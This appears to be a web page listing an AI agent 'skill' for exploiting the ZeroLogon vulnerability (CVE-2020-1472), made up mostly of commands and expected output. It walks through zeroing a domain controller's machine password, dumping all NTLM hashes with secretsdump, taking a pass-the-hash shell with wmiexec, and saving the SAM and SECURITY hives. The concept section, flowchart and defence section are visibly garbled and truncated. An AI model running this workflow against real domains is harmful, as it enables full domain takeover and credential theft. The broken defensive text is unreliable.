Zero logon exploitation

From ShulkwiSEC/bb-huge · View interactive version

Zero logon exploitation is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Exploit the critical ZeroLogon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol (MS-NRPC) to instantly obtain Domain Administrator privileges on a Windows Active Directory domain by resetting the machine account password of the Primary Domain Controller (PDC) to an empty string.

How to use this skill

Skill file

ZeroLogon Exploitation (CVE-2020-1472)

When to Use

Prerequisites

Workflow

Phase 1: Understanding the Flaw (The Concept)

# Concept: The Netlogon protocol uses a flawed cryptographic implementation for authentication 
# specifically the AES-CFB8 encryption scheme.

# The Vulnerability ```

### Phase 2: Detecting Vulnerability

Before launching the attack, definitively verify if the DC is unpatched without breaking it.

We utilize the standard Python tester script (widely available on GitHub from Secura).

python3 zerologon_tester.py DC-NAME 192.168.1.10

Expected Vulnerable Output:

Performing authentication attempts...

Success! DC can be fully compromised by a Zerologon attack.

Expected Patched Output:

Attack failed. Target is probably patched.


### Phase 3: Exploitation (The Zeroing)

CONCEPT: The exploit We use the full exploit script (e.g., cve-2020-1472-exploit.py)

python3 cve-2020-1472-exploit.py DC-NAME 192.168.1.10

Output Result: Success! DC machine password has been set to empty string.


### Phase 4: Dumping the Hashes (secretsdump)

Now that the DC's machine account password is an empty string, we can use Impacket's

secretsdump.py to authenticate as the DC itself and extract the NTLM hashes of ALL users

(including the Domain Admin and the KRBTGT account).

Format: domain/DC_NAME\$@DC_IP -no-pass

secretsdump.py contoso.local/DC-NAME\$@192.168.1.10 -no-pass

Copy the Administrator NTLM Hash:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29:::


### Phase 5: Pass the Hash & OPSEC Restoration (CRITICAL)

Obtain an interactive shell wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 Administrator@192.168.1.10

CRITICAL RESTORATION 1. From the WMI shell, extract the original machine account hash reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

lsa_dump

2. Use a restoration script python3 restorepassword.py contoso.local/DC-NAME@DC-NAME -target-ip 192.168.1.10 -hexpass <ORIGINAL_HEX_PASSWORD>


#### Decision Point 🔀

flowchart TD

A[Identify unpatched Domain Controller ] --> B[Run ]

B --> C{Does }

C -->|Yes| D[Execute ]

C -->|No| E[Abort ]

D --> F[Dump ]


## 🔵 Blue Team Detection & Defense
- **Patch Management**: The absolute and only definitive defense is **Network Segmentation**: Isolate **Monitor Event IDs**: Look Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format

Zero Logon Exploitation — Assessment Report

============================================================

Target: [Target identifier]

Assessor: [Operator name]

Date: [Assessment date]

Scope: [Authorized scope]

MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:

[Finding 1]: [Severity] — [Brief description]

[Finding 2]: [Severity] — [Brief description]

Detailed Results:

Phase 1: [Phase name]

Phase 2: [Phase name]

Risk Rating: [Critical/High/Medium/Low/Informational]

Recommendations:

1. [Immediate remediation step]

2. [Long-term hardening measure]

3. [Monitoring/detection improvement]

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.